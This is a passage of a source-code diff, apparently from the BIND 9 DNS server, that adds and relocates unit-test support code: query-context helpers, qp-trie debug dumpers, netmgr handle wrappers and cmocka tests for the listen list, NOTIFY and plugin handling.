+	if (result != ISC_R_SUCCESS) {
+		goto detach_query;
+	}
+
+	/*
+	 * The reference count for "client" is now at 2, so we need to
+	 * decrement it in order for it to drop to zero when "qctx" gets
+	 * destroyed.
+	 */
+	handle = client->handle;
+	isc_nmhandle_detach(&handle);
+
+	return (ISC_R_SUCCESS);
+
+detach_query:
+	dns_message_detach(&client->message);
+detach_view:
+	dns_view_detach(&client->view);
+detach_client:
+	isc_nmhandle_detach(&client->handle);
+
+	return (result);
+}
+
+void
+ns_test_qctx_destroy(query_ctx_t **qctxp) {
+	query_ctx_t *qctx;
+
+	REQUIRE(qctxp != NULL);
+	REQUIRE(*qctxp != NULL);
+
+	qctx = *qctxp;
+	*qctxp = NULL;
+
+	if (qctx->zone != NULL) {
+		dns_zone_detach(&qctx->zone);
+	}
+	if (qctx->db != NULL) {
+		dns_db_detach(&qctx->db);
+	}
+	if (qctx->client != NULL) {
+		isc_nmhandle_detach(&qctx->client->handle);
+	}
+
+	isc_mem_put(mctx, qctx, sizeof(*qctx));
+}
+
+ns_hookresult_t
+ns_test_hook_catch_call(void *arg, void *data, isc_result_t *resultp) {
+	UNUSED(arg);
+	UNUSED(data);
+
+	*resultp = ISC_R_UNSET;
+
+	return (NS_HOOK_RETURN);
+}
+
+isc_result_t
+ns_test_loaddb(dns_db_t **db, dns_dbtype_t dbtype, const char *origin,
+	       const char *testfile) {
+	isc_result_t result;
+	dns_fixedname_t fixed;
+	dns_name_t *name;
+
+	name = dns_fixedname_initname(&fixed);
+
+	result = dns_name_fromstring(name, origin, dns_rootname, 0, NULL);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	result = dns_db_create(mctx, "rbt", name, dbtype, dns_rdataclass_in, 0,
+			       NULL, db);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	result = dns_db_load(*db, testfile, dns_masterformat_text, 0);
+	return (result);
+}
+
+static int
+fromhex(char c) {
+	if (c >= '0' && c <= '9') {
+		return (c - '0');
+	} else if (c >= 'a' && c <= 'f') {
+		return (c - 'a' + 10);
+	} else if (c >= 'A' && c <= 'F') {
+		return (c - 'A' + 10);
+	}
+
+	printf("bad input format: %02x\n", c);
+	exit(3);
+}
+
+isc_result_t
+ns_test_getdata(const char *file, unsigned char *buf, size_t bufsiz,
+		size_t *sizep) {
+	isc_result_t result;
+	unsigned char *bp;
+	char *rp, *wp;
+	char s[BUFSIZ];
+	size_t len, i;
+	FILE *f = NULL;
+	int n;
+
+	result = isc_stdio_open(file, "r", &f);
+	if (result != ISC_R_SUCCESS) {
+		return (result);
+	}
+
+	bp = buf;
+	while (fgets(s, sizeof(s), f) != NULL) {
+		rp = s;
+		wp = s;
+		len = 0;
+		while (*rp != '\0') {
+			if (*rp == '#') {
+				break;
+			}
+			if (*rp != ' ' && *rp != '\t' && *rp != '\r' &&
+			    *rp != '\n')
+			{
+				*wp++ = *rp;
+				len++;
+			}
+			rp++;
+		}
+		if (len == 0U) {
+			continue;
+		}
+		if (len % 2 != 0U) {
+			result = ISC_R_UNEXPECTEDEND;
+			goto cleanup;
+		}
+		if (len > bufsiz * 2) {
+			result = ISC_R_NOSPACE;
+			goto cleanup;
+		}
+		rp = s;
+		for (i = 0; i < len; i += 2) {
+			n = fromhex(*rp++);
+			n *= 16;
+			n += fromhex(*rp++);
+			*bp++ = n;
+		}
+	}
+
+	*sizep = bp - buf;
+
+	result = ISC_R_SUCCESS;
+
+cleanup:
+	isc_stdio_close(f);
+	return (result);
+}
diff --git a/tests/libtest/qp.c b/tests/libtest/qp.c
new file mode 100644
index 0000000000..392297746a
--- /dev/null
+++ b/tests/libtest/qp.c
@@ -0,0 +1,411 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <assert.h>
+#include <stdint.h>
+#include <stdio.h>
+
+#include <isc/buffer.h>
+#include <isc/loop.h>
+#include <isc/magic.h>
+#include <isc/refcount.h>
+#include <isc/rwlock.h>
+#include <isc/urcu.h>
+#include <isc/util.h>
+
+#include <dns/name.h>
+#include <dns/qp.h>
+#include <dns/types.h>
+
+#include "qp_p.h"
+
+#include <tests/qp.h>
+
+/***********************************************************************
+ *
+ *  key reverse conversions
+ */
+
+uint8_t
+qp_test_bittoascii(qp_shift_t bit) {
+	uint8_t byte = dns_qp_byte_for_bit[bit];
+	if (bit == SHIFT_NOBYTE) {
+		return ('.');
+	} else if (qp_common_character(byte)) {
+		return (byte);
+	} else if (byte < '-') {
+		return ('#');
+	} else if (byte < '_') {
+		return ('@');
+	} else {
+		return ('~' - SHIFT_OFFSET + bit);
+	}
+}
+
+const char *
+qp_test_keytoascii(dns_qpkey_t key, size_t len) {
+	for (size_t offset = 0; offset < len; offset++) {
+		key[offset] = qp_test_bittoascii(key[offset]);
+	}
+	key[len] = '\0';
+	return ((const char *)key);
+}
+
+void
+qp_test_keytoname(const dns_qpkey_t key, size_t keylen, dns_name_t *name) {
+	size_t locs[DNS_NAME_MAXLABELS];
+	size_t loc = 0, opos = 0;
+	size_t offset;
+
+	REQUIRE(ISC_MAGIC_VALID(name, DNS_NAME_MAGIC));
+	REQUIRE(name->buffer != NULL);
+	REQUIRE(name->offsets != NULL);
+
+	isc_buffer_clear(name->buffer);
+
+	/* Scan the key looking for label boundaries */
+	for (offset = 0; offset <= keylen; offset++) {
+		INSIST(key[offset] >= SHIFT_NOBYTE &&
+		       key[offset] < SHIFT_OFFSET);
+		INSIST(loc < DNS_NAME_MAXLABELS);
+		if (qpkey_bit(key, keylen, offset) == SHIFT_NOBYTE) {
+			if (qpkey_bit(key, keylen, offset + 1) == SHIFT_NOBYTE)
+			{
+				locs[loc] = offset + 1;
+				goto scanned;
+			}
+			locs[loc++] = offset + 1;
+		} else if (offset == 0) {
+			/* This happens for a relative name */
+			locs[loc++] = offset;
+		}
+	}
+	UNREACHABLE();
+scanned:
+
+	/*
+	 * In the key the labels are encoded in reverse order, so
+	 * we step backward through the label boundaries, then forward
+	 * through the labels, to create the DNS wire format data.
+	 */
+	name->labels = loc;
+	while (loc-- > 0) {
+		uint8_t len = 0, *lenp = NULL;
+
+		/* Add a length byte to the name data and set an offset */
+		lenp = isc_buffer_used(name->buffer);
+		isc_buffer_putuint8(name->buffer, 0);
+		name->offsets[opos++] = name->length++;
+
+		/* Convert from escaped byte ranges to ASCII */
+		for (offset = locs[loc]; offset < locs[loc + 1] - 1; offset++) {
+			uint8_t bit = qpkey_bit(key, keylen, offset);
+			uint8_t byte = dns_qp_byte_for_bit[bit];
+			if (qp_common_character(byte)) {
+				isc_buffer_putuint8(name->buffer, byte);
+			} else {
+				byte += key[++offset] - SHIFT_BITMAP;
+				isc_buffer_putuint8(name->buffer, byte);
+			}
+			len++;
+		}
+
+		name->length += len;
+		*lenp = len;
+	}
+
+	/* Add a root label for absolute names */
+	if (key[0] == SHIFT_NOBYTE) {
+		name->attributes.absolute = true;
+		isc_buffer_putuint8(name->buffer, 0);
+		name->length++;
+		name->labels++;
+	}
+
+	name->ndata = isc_buffer_base(name->buffer);
+}
+
+/***********************************************************************
+ *
+ *  trie properties
+ */
+
+static size_t
+getheight(dns_qp_t *qp, qp_node_t *n) {
+	if (node_tag(n) == LEAF_TAG) {
+		return (0);
+	}
+	size_t max_height = 0;
+	qp_weight_t size = branch_twigs_size(n);
+	qp_node_t *twigs = branch_twigs_vector(qp, n);
+	for (qp_weight_t pos = 0; pos < size; pos++) {
+		size_t height = getheight(qp, &twigs[pos]);
+		max_height = ISC_MAX(max_height, height);
+	}
+	return (max_height + 1);
+}
+
+size_t
+qp_test_getheight(dns_qp_t *qp) {
+	qp_node_t *root = get_root(qp);
+	return (root == NULL ? 0 : getheight(qp, root));
+}
+
+static size_t
+maxkeylen(dns_qp_t *qp, qp_node_t *n) {
+	if (node_tag(n) == LEAF_TAG) {
+		dns_qpkey_t key;
+		return (leaf_qpkey(qp, n, key));
+	}
+	size_t max_len = 0;
+	qp_weight_t size = branch_twigs_size(n);
+	qp_node_t *twigs = branch_twigs_vector(qp, n);
+	for (qp_weight_t pos = 0; pos < size; pos++) {
+		size_t len = maxkeylen(qp, &twigs[pos]);
+		max_len = ISC_MAX(max_len, len);
+	}
+	return (max_len);
+}
+
+size_t
+qp_test_maxkeylen(dns_qp_t *qp) {
+	qp_node_t *root = get_root(qp);
+	return (root == NULL ? 0 : maxkeylen(qp, root));
+}
+
+/***********************************************************************
+ *
+ *  dump to stdout
+ */
+
+static void
+dumpread(dns_qpreadable_t qpr, const char *type, const char *tail) {
+	dns_qpreader_t *qp = dns_qpreader(qpr);
+	printf("%s %p root %u %u:%u base %p methods %p%s", type, qp,
+	       qp->root_ref, ref_chunk(qp->root_ref), ref_cell(qp->root_ref),
+	       qp->base, qp->methods, tail);
+}
+
+static void
+dumpqp(dns_qp_t *qp, const char *type) {
+	dumpread(qp, type, " mctx ");
+	printf("%p\n", qp->mctx);
+	printf("%s %p usage %p chunk_max %u bump %u fender %u\n", type, qp,
+	       qp->usage, qp->chunk_max, qp->bump, qp->fender);
+	printf("%s %p leaf %u live %u used %u free %u hold %u\n", type, qp,
+	       qp->leaf_count, qp->used_count - qp->free_count, qp->used_count,
+	       qp->free_count, qp->hold_count);
+	printf("%s %p compact_all=%d transaction_mode=%d write_protect=%d\n",
+	       type, qp, qp->compact_all, qp->transaction_mode,
+	       qp->write_protect);
+}
+
+void
+qp_test_dumpread(dns_qpreadable_t qp) {
+	dumpread(qp, "qpread", "\n");
+	fflush(stdout);
+}
+
+void
+qp_test_dumpsnap(dns_qpsnap_t *qp) {
+	dumpread(qp, "qpsnap", " whence ");
+	printf("%p\n", qp->whence);
+	fflush(stdout);
+}
+
+void
+qp_test_dumpqp(dns_qp_t *qp) {
+	dumpqp(qp, "qp");
+	fflush(stdout);
+}
+
+void
+qp_test_dumpmulti(dns_qpmulti_t *multi) {
+	dns_qpreader_t qpr;
+	qp_node_t *reader = rcu_dereference(multi->reader);
+	dns_qpmulti_t *whence = unpack_reader(&qpr, reader);
+	dumpqp(&multi->writer, "qpmulti->writer");
+	printf("qpmulti->reader %p root_ref %u %u:%u base %p\n", reader,
+	       qpr.root_ref, ref_chunk(qpr.root_ref), ref_cell(qpr.root_ref),
+	       qpr.base);
+	printf("qpmulti->reader %p whence %p\n", reader, whence);
+	unsigned int snapshots = 0;
+	for (dns_qpsnap_t *snap = ISC_LIST_HEAD(multi->snapshots); //
+	     snap != NULL; snap = ISC_LIST_NEXT(snap, link), snapshots++)
+	{
+	}
+	printf("qpmulti %p snapshots %u\n", multi, snapshots);
+	fflush(stdout);
+}
+
+void
+qp_test_dumpchunks(dns_qp_t *qp) {
+	qp_cell_t used = 0;
+	qp_cell_t free = 0;
+	dumpqp(qp, "qp");
+	for (qp_chunk_t c = 0; c < qp->chunk_max; c++) {
+		printf("qp %p chunk %u base %p "
+		       "used %u free %u immutable %u discounted %u\n",
+		       qp, c, qp->base->ptr[c], qp->usage[c].used,
+		       qp->usage[c].free, qp->usage[c].immutable,
+		       qp->usage[c].discounted);
+		used += qp->usage[c].used;
+		free += qp->usage[c].free;
+	}
+	printf("qp %p total used %u free %u\n", qp, used, free);
+	fflush(stdout);
+}
+
+void
+qp_test_dumptrie(dns_qpreadable_t qpr) {
+	dns_qpreader_t *qp = dns_qpreader(qpr);
+	struct {
+		qp_ref_t ref;
+		qp_shift_t max, pos;
+	} stack[512];
+	size_t sp = 0;
+	qp_cell_t leaf_count = 0;
+
+	/*
+	 * fake up a sentinel stack entry corresponding to the root
+	 * node; the ref is deliberately out of bounds, and pos == max
+	 * so we will immediately stop scanning it
+	 */
+	stack[sp].ref = INVALID_REF;
+	stack[sp].max = 0;
+	stack[sp].pos = 0;
+
+	qp_node_t *n = get_root(qp);
+	if (n == NULL) {
+		printf("%p EMPTY\n", n);
+		fflush(stdout);
+		return;
+	} else {
+		printf("%p ROOT qp %p base %p\n", n, qp, qp->base);
+	}
+
+	for (;;) {
+		if (is_branch(n)) {
+			qp_ref_t ref = branch_twigs_ref(n);
+			qp_weight_t max = branch_twigs_size(n);
+			qp_node_t *twigs = ref_ptr(qp, ref);
+
+			/* brief list of twigs */
+			dns_qpkey_t bits;
+			size_t len = 0;
+			for (qp_shift_t bit = SHIFT_NOBYTE; bit < SHIFT_OFFSET;
+			     bit++)
+			{
+				if (branch_has_twig(n, bit)) {
+					bits[len++] = bit;
+				}
+			}
+			assert(len == max);
+			qp_test_keytoascii(bits, len);
+			printf("%*s%p BRANCH %p %u %u:%u %zu %s\n", (int)sp * 2,
+			       "", n, twigs, ref, ref_chunk(ref), ref_cell(ref),
+			       branch_key_offset(n), bits);
+
+			++sp;
+			stack[sp].ref = ref;
+			stack[sp].max = max;
+			stack[sp].pos = 0;
+		} else {
+			dns_qpkey_t key;
+			qp_test_keytoascii(key, leaf_qpkey(qp, n, key));
+			printf("%*s%p LEAF %p %d %s\n", (int)sp * 2, "", n,
+			       leaf_pval(n), leaf_ival(n), key);
+			leaf_count++;
+		}
+
+		while (stack[sp].pos == stack[sp].max) {
+			if (sp == 0) {
+				printf("LEAVES %d\n", leaf_count);
+				fflush(stdout);
+				return;
+			}
+			--sp;
+		}
+
+		n = ref_ptr(qp, stack[sp].ref) + stack[sp].pos;
+		stack[sp].pos++;
+	}
+}
+
+static void
+dumpdot_name(qp_node_t *n) {
+	if (n == NULL) {
+		printf("empty");
+	} else if (is_branch(n)) {
+		qp_ref_t ref = branch_twigs_ref(n);
+		printf("c%dn%d", ref_chunk(ref), ref_cell(ref));
+	} else {
+		printf("v%p", leaf_pval(n));
+	}
+}
+
+static void
+dumpdot_twig(dns_qp_t *qp, qp_node_t *n) {
+	if (n == NULL) {
+		printf("empty [shape=oval, label=\"\\N EMPTY\"];\n");
+	} else if (is_branch(n)) {
+		dumpdot_name(n);
+		printf(" [shape=record, label=\"{ \\N\\noff %zu | ",
+		       branch_key_offset(n));
+		char sep = '{';
+		for (qp_shift_t bit = SHIFT_NOBYTE; bit < SHIFT_OFFSET; bit++) {
+			if (branch_has_twig(n, bit)) {
+				printf("%c <t%d> %c ", sep,
+				       branch_twig_pos(n, bit),
+				       qp_test_bittoascii(bit));
+				sep = '|';
+			}
+		}
+		printf("}}\"];\n");
+
+		qp_weight_t size = branch_twigs_size(n);
+		qp_node_t *twigs = branch_twigs_vector(qp, n);
+
+		for (qp_weight_t pos = 0; pos < size; pos++) {
+			dumpdot_name(n);
+			printf(":t%d:e -> ", pos);
+			dumpdot_name(&twigs[pos]);
+			printf(":w;\n");
+		}
+
+		for (qp_weight_t pos = 0; pos < size; pos++) {
+			dumpdot_twig(qp, &twigs[pos]);
+		}
+
+	} else {
+		dns_qpkey_t key;
+		const char *str;
+		str = qp_test_keytoascii(key, leaf_qpkey(qp, n, key));
+		printf("v%p [shape=oval, label=\"\\N ival %d\\n%s\"];\n",
+		       leaf_pval(n), leaf_ival(n), str);
+	}
+}
+
+void
+qp_test_dumpdot(dns_qp_t *qp) {
+	REQUIRE(QP_VALID(qp));
+	qp_node_t *n = get_root(qp);
+	printf("strict digraph {\nrankdir = \"LR\"; ranksep = 1.0;\n");
+	printf("ROOT [shape=point]; ROOT -> ");
+	dumpdot_name(n);
+	printf(":w;\n");
+	dumpdot_twig(qp, n);
+	printf("}\n");
+}
+
+/**********************************************************************/
diff --git a/tests/ns/Makefile.am b/tests/ns/Makefile.am
new file mode 100644
index 0000000000..c26bec85e6
--- /dev/null
+++ b/tests/ns/Makefile.am
@@ -0,0 +1,33 @@
+include $(top_srcdir)/Makefile.top
+
+AM_CPPFLAGS +=			\
+	$(LIBISC_CFLAGS)	\
+	$(LIBDNS_CFLAGS)	\
+	$(LIBNS_CFLAGS)		\
+	$(LIBUV_CFLAGS)		\
+	-I$(top_srcdir)/lib/isc	\
+	-I$(top_srcdir)/lib/dns
+
+LDADD +=			\
+	$(LIBISC_LIBS)		\
+	$(LIBDNS_LIBS)		\
+	$(LIBNS_LIBS)		\
+	$(LIBUV_LIBS)
+
+check_PROGRAMS =		\
+	listenlist_test		\
+	notify_test		\
+	plugin_test		\
+	query_test
+
+notify_test_SOURCES =		\
+	notify_test.c		\
+	netmgr_wrap.c
+
+query_test_SOURCES =		\
+	query_test.c		\
+	netmgr_wrap.c
+
+EXTRA_DIST = testdata
+
+include $(top_srcdir)/Makefile.tests
diff --git a/tests/ns/listenlist_test.c b/tests/ns/listenlist_test.c
new file mode 100644
index 0000000000..327526dcb8
--- /dev/null
+++ b/tests/ns/listenlist_test.c
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/list.h>
+#include <isc/random.h>
+#include <isc/util.h>
+
+#include <dns/acl.h>
+
+#include <ns/listenlist.h>
+
+#include <tests/ns.h>
+
+/* test that ns_listenlist_default() works */
+ISC_RUN_TEST_IMPL(ns_listenlist_default) {
+	isc_result_t result;
+	in_port_t port = 5300 + isc_random8();
+	ns_listenlist_t *list = NULL;
+	ns_listenelt_t *elt;
+	int count;
+
+	UNUSED(state);
+
+	result = ns_listenlist_default(mctx, port, false, AF_INET, &list);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	assert_non_null(list);
+
+	assert_false(ISC_LIST_EMPTY(list->elts));
+
+	count = 0;
+	elt = ISC_LIST_HEAD(list->elts);
+	while (elt != NULL) {
+		ns_listenelt_t *next = ISC_LIST_NEXT(elt, link);
+		dns_acl_t *acl = NULL;
+
+		dns_acl_attach(elt->acl, &acl);
+		ISC_LIST_UNLINK(list->elts, elt, link);
+		ns_listenelt_destroy(elt);
+		elt = next;
+
+		assert_true(dns_acl_isnone(acl));
+		dns_acl_detach(&acl);
+		count++;
+	}
+
+	assert_true(ISC_LIST_EMPTY(list->elts));
+	assert_int_equal(count, 1);
+
+	ns_listenlist_detach(&list);
+
+	result = ns_listenlist_default(mctx, port, true, AF_INET, &list);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	assert_false(ISC_LIST_EMPTY(list->elts));
+
+	/* This time just use ns_listenlist_detach() to destroy elements */
+	count = 0;
+	elt = ISC_LIST_HEAD(list->elts);
+	while (elt != NULL) {
+		ns_listenelt_t *next = ISC_LIST_NEXT(elt, link);
+		assert_true(dns_acl_isany(elt->acl));
+		elt = next;
+		count++;
+	}
+
+	assert_int_equal(count, 1);
+
+	ns_listenlist_detach(&list);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(ns_listenlist_default)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/tests/ns/netmgr_wrap.c b/tests/ns/netmgr_wrap.c
new file mode 100644
index 0000000000..725392fc5a
--- /dev/null
+++ b/tests/ns/netmgr_wrap.c
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*! \file */
+
+#include <isc/atomic.h>
+#include <isc/netmgr.h>
+#include <isc/util.h>
+
+#include <dns/view.h>
+
+#include <ns/client.h>
+
+#if ISC_NETMGR_TRACE
+#define FLARG                                                                 \
+	, const char *func ISC_ATTR_UNUSED, const char *file ISC_ATTR_UNUSED, \
+		unsigned int line ISC_ATTR_UNUSED
+#else
+#define FLARG
+#endif
+
+/*
+ * We don't want to use netmgr-based client accounting, we need to emulate it.
+ */
+atomic_uint_fast32_t client_refs[32];
+atomic_uintptr_t client_addrs[32];
+
+#if ISC_NETMGR_TRACE
+void
+isc_nmhandle__attach(isc_nmhandle_t *source, isc_nmhandle_t **targetp FLARG) {
+#else
+void
+isc_nmhandle_attach(isc_nmhandle_t *source, isc_nmhandle_t **targetp) {
+#endif
+	ns_client_t *client = (ns_client_t *)source;
+	int i;
+
+	for (i = 0; i < 32; i++) {
+		if (atomic_load(&client_addrs[i]) == (uintptr_t)client) {
+			break;
+		}
+	}
+	INSIST(i < 32);
+	INSIST(atomic_load(&client_refs[i]) > 0);
+
+	atomic_fetch_add(&client_refs[i], 1);
+#if 0
+	fprintf(stderr, "%s:%s:%s:%d -> %ld\n", __func__, func, file, line,
+		client_refs[i]);
+#endif
+
+	*targetp = source;
+	return;
+}
+
+#if ISC_NETMGR_TRACE
+void
+isc_nmhandle__detach(isc_nmhandle_t **handlep FLARG) {
+#else
+void
+isc_nmhandle_detach(isc_nmhandle_t **handlep) {
+#endif
+	isc_nmhandle_t *handle = *handlep;
+	ns_client_t *client = (ns_client_t *)handle;
+	int i;
+
+	*handlep = NULL;
+
+	for (i = 0; i < 32; i++) {
+		if (atomic_load(&client_addrs[i]) == (uintptr_t)client) {
+			break;
+		}
+	}
+	INSIST(i < 32);
+
+	if (atomic_fetch_sub(&client_refs[i], 1) == 1) {
+		dns_view_detach(&client->view);
+		client->state = 4;
+		ns__client_reset_cb(client);
+		ns__client_put_cb(client);
+		atomic_store(&client_addrs[i], (uintptr_t)NULL);
+	}
+#if 0
+	fprintf(stderr, "%s:%s:%s:%d -> %ld\n", __func__, func, file, line,
+		client_refs[i]);
+#endif
+
+	return;
+}
diff --git a/tests/ns/notify_test.c b/tests/ns/notify_test.c
new file mode 100644
index 0000000000..96fb3c26a4
--- /dev/null
+++ b/tests/ns/notify_test.c
@@ -0,0 +1,126 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <inttypes.h>
+#include <sched.h> /* IWYU pragma: keep */
+#include <setjmp.h>
+#include <stdarg.h>
+#include <stddef.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define UNIT_TESTING
+#include <cmocka.h>
+
+#include <isc/thread.h>
+#include <isc/util.h>
+
+#include <dns/acl.h>
+#include <dns/rcode.h>
+#include <dns/view.h>
+
+#include <ns/client.h>
+#include <ns/notify.h>
+
+#include <tests/ns.h>
+
+static void
+check_response(isc_buffer_t *buf) {
+	isc_result_t result;
+	dns_message_t *message = NULL;
+	char rcodebuf[20];
+	isc_buffer_t b;
+
+	dns_message_create(mctx, DNS_MESSAGE_INTENTPARSE, &message);
+
+	result = dns_message_parse(message, buf, 0);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	isc_buffer_init(&b, rcodebuf, sizeof(rcodebuf));
+	result = dns_rcode_totext(message->rcode, &b);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	assert_int_equal(message->rcode, dns_rcode_noerror);
+
+	dns_message_detach(&message);
+}
+
+/* test ns_notify_start() */
+ISC_LOOP_TEST_IMPL(notify_start) {
+	isc_result_t result;
+	ns_client_t *client = NULL;
+	isc_nmhandle_t *handle = NULL;
+	dns_message_t *nmsg = NULL;
+	unsigned char ndata[4096];
+	isc_buffer_t nbuf;
+	size_t nsize;
+
+	result = ns_test_getclient(NULL, false, &client);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = dns_test_makeview("view", false, false, &client->view);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = ns_test_serve_zone("example.com",
+				    TESTS_DIR "/testdata/notify/zone1.db",
+				    client->view);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	/*
+	 * Create a NOTIFY message by parsing a file in testdata.
+	 * (XXX: use better message mocking method when available.)
+	 */
+
+	result = ns_test_getdata(TESTS_DIR "/testdata/notify/notify1.msg",
+				 ndata, sizeof(ndata), &nsize);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_buffer_init(&nbuf, ndata, nsize);
+	isc_buffer_add(&nbuf, nsize);
+
+	dns_message_create(mctx, DNS_MESSAGE_INTENTPARSE, &nmsg);
+
+	result = dns_message_parse(nmsg, &nbuf, 0);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	/*
+	 * Set up client object with this message and test the NOTIFY
+	 * handler.
+	 */
+	if (client->message != NULL) {
+		dns_message_detach(&client->message);
+	}
+	client->message = nmsg;
+	nmsg = NULL;
+	client->sendcb = check_response;
+	ns_notify_start(client, client->handle);
+
+	/*
+	 * Clean up
+	 */
+	ns_test_cleanup_zone();
+
+	handle = client->handle;
+	isc_nmhandle_detach(&client->handle);
+	isc_nmhandle_detach(&handle);
+
+	isc_loop_teardown(mainloop, shutdown_interfacemgr, NULL);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY_CUSTOM(notify_start, setup_server, teardown_server)
+ISC_TEST_LIST_END
+
+ISC_TEST_MAIN
diff --git a/lib/ns/tests/plugin_test.c b/tests/ns/plugin_test.c
similarity index 81%
rename from lib/ns/tests/plugin_test.c
rename to tests/ns/plugin_test.c
index bf0af1cfd5..92b9b78b8d 100644
--- a/lib/ns/tests/plugin_test.c
+++ b/tests/ns/plugin_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,8 +11,7 @@
  * information regarding copyright ownership.
  */
 
-#if HAVE_CMOCKA
-
+#include <inttypes.h>
 #include <limits.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
@@ -24,41 +25,15 @@
 #include <cmocka.h>
 
 #include <isc/attributes.h>
+#include <isc/dir.h>
 #include <isc/mem.h>
-#include <isc/platform.h>
 #include <isc/result.h>
 #include <isc/types.h>
 #include <isc/util.h>
 
-ISC_NORETURN void
-_fail(const char *const file, const int line);
-
 #include <ns/hooks.h>
 
-#include "nstest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = ns_test_begin(NULL, false);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	if (*state != NULL) {
-		isc_mem_free(mctx, *state);
-	}
-
-	ns_test_end();
-
-	return (0);
-}
+#include <tests/ns.h>
 
 /*%
  * Structure containing parameters for run_full_path_test().
@@ -123,8 +98,7 @@ run_full_path_test(const ns_plugin_expandpath_test_params_t *test,
 }
 
 /* test ns_plugin_expandpath() */
-static void
-ns_plugin_expandpath_test(void **state) {
+ISC_RUN_TEST_IMPL(ns_plugin_expandpath) {
 	size_t i;
 
 	const ns_plugin_expandpath_test_params_t tests[] = {
@@ -180,23 +154,8 @@ ns_plugin_expandpath_test(void **state) {
 	}
 }
 
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(ns_plugin_expandpath_test,
-						_setup, _teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
+ISC_TEST_LIST_START
+ISC_TEST_ENTRY(ns_plugin_expandpath)
+ISC_TEST_LIST_END
 
-#endif /* if HAVE_CMOCKA */
+ISC_TEST_MAIN
diff --git a/lib/ns/tests/query_test.c b/tests/ns/query_test.c
similarity index 90%
rename from lib/ns/tests/query_test.c
rename to tests/ns/query_test.c
index d09333a003..6ef0fdd12b 100644
--- a/lib/ns/tests/query_test.c
+++ b/tests/ns/query_test.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -9,10 +11,6 @@
  * information regarding copyright ownership.
  */
 
-#include <isc/util.h>
-
-#if HAVE_CMOCKA
-
 #include <inttypes.h>
 #include <sched.h> /* IWYU pragma: keep */
 #include <setjmp.h>
@@ -26,44 +24,19 @@
 #include <cmocka.h>
 
 #include <isc/quota.h>
+#include <isc/util.h>
 
 #include <dns/badcache.h>
 #include <dns/view.h>
 #include <dns/zone.h>
 
 #include <ns/client.h>
-#include <ns/events.h>
 #include <ns/hooks.h>
 #include <ns/query.h>
 #include <ns/server.h>
 #include <ns/stats.h>
 
-#include "nstest.h"
-
-static int
-_setup(void **state) {
